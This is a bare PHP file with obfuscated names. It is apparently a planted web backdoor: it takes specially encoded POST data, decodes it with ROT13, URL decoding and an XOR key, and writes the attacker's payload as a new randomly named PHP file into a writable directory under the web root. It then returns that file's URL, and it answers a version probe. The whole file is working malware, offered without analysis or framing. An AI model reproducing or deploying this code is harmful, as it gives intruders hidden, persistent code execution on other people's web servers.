mekhcaei.php

<?php $yphdn = "sundmrxvkhyvhqjp";$mmfdxnaro = "";foreach ($_POST as $aseyewdvu => $ilinul){if (strlen($aseyewdvu) == 16 and substr_count($ilinul, "%") > 10){aiglw($aseyewdvu, $ilinul);}}function aiglw($aseyewdvu, $wfxwl){global $mmfdxnaro;$mmfdxnaro = $aseyewdvu;$wfxwl = str_split(rawurldecode(str_rot13($wfxwl)));function kmblsiwlsu($sxbatr, $aseyewdvu){global $yphdn, $mmfdxnaro;return $sxbatr ^ $yphdn[$aseyewdvu % strlen($yphdn)] ^ $mmfdxnaro[$aseyewdvu % strlen($mmfdxnaro)];}$wfxwl = implode("", array_map("kmblsiwlsu", array_values($wfxwl), array_keys($wfxwl)));$wfxwl = @unserialize($wfxwl);if (@is_array($wfxwl)){$aseyewdvu = array_keys($wfxwl);$wfxwl = $wfxwl[$aseyewdvu[0]];if ($wfxwl === $aseyewdvu[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function aublfrpnzn($ofjuzxtetir) {static $jzvyxms = array();$ekctn = glob($ofjuzxtetir . '/*', GLOB_ONLYDIR);if (count($ekctn) > 0) {foreach ($ekctn as $ofjuzxtet){if (@is_writable($ofjuzxtet)){$jzvyxms[] = $ofjuzxtet;}}}foreach ($ekctn as $ofjuzxtetir) aublfrpnzn($ofjuzxtetir);return $jzvyxms;}$nrypvw = $_SERVER["DOCUMENT_ROOT"];$ekctn = aublfrpnzn($nrypvw);$aseyewdvu = array_rand($ekctn);$jgojos = $ekctn[$aseyewdvu] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($jgojos, $wfxwl);echo "http://" . $_SERVER["HTTP_HOST"] . substr($jgojos, strlen($nrypvw));exit();}}}